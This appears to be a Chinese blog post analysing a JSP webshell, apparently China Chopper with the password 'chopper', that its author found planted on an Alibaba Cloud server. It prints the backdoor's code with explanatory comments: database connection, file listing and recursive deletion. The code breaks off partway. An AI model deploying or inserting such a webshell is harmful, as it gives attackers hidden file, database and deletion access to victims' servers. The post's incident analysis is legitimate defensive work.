jsp文件木马代码分析

本文介绍了作者在阿里云服务器上发现的一个名为tst.jsp的文件,该文件经格式化后显示为包含可疑方法的Java代码。通过访问特定URL,能够获取到服务器C盘的文件属性信息。文章探讨了这个木马如何悄无声息地存在于项目中,引发了对于服务器安全性的关注。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

近来登陆阿里云,竟发现webapps/ROOT/下面多了一个tst.jsp

代码格式化了一下,每个方法都注释了下

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "chopper";

	String EC(String s, String c) throws Exception {
		return s;
	}//new String(s.getBytes("ISO-8859-1"),c);}
	
	//依照给定的参数s连接数据库
	//以回车符\r\n作为分割
	//第一行是数据库驱动类名
	//第二行是jdbc的url
	//第三行(如果有的话)指定了具体的数据库名
	Connection GC(String s) throws Exception {
		String[] x = s.trim().split("\r\n");
		Class.forName(x[0].trim()).newInstance();
		Connection c = DriverManager.getConnection(x[1].trim());
		if (x.length > 2) {
			c.setCatalog(x[2].trim());
		}
		return c;
	}
	
	//得到系统中所有根目录下 的每一个文件的名字的前两个字母,写入StringBuffer
	void AA(StringBuffer sb) throws Exception {
		File r[] = File.listRoots();
		for (int i = 0; i < r.length; i++) {
			sb.append(r[i].toString().substring(0, 2));
		}
	}
	
	//得到指定路径下所有文件的 文件名、最后一次修改时间、文件大小、是否可读可写属性,写入StringBuffer
	void BB(String s, StringBuffer sb) throws Exception {
		File oF = new File(s), l[] = oF.listFiles();
		String sT, sQ, sF = "";
		java.util.Date dt;
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		for (int i = 0; i < l.length; i++) {
			dt = new java.util.Date(l[i].lastModified());
			sT = fm.format(dt);
			sQ = l[i].canRead() ? "R" : "";
			sQ += l[i].canWrite() ? " W" : "";
			if (l[i].isDirectory()) {
				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
						+ "\t" + sQ + "\n");
			} else {
				sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
						+ sQ + "\n";
			}
		}
		sb.append(sF);
	}
	
	//迭代删除给定路径下的所有文件和文件夹
	void EE(String s) throws Exception {
		File f = new File(s);
		if (f.isDirectory()) {
			File x[
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值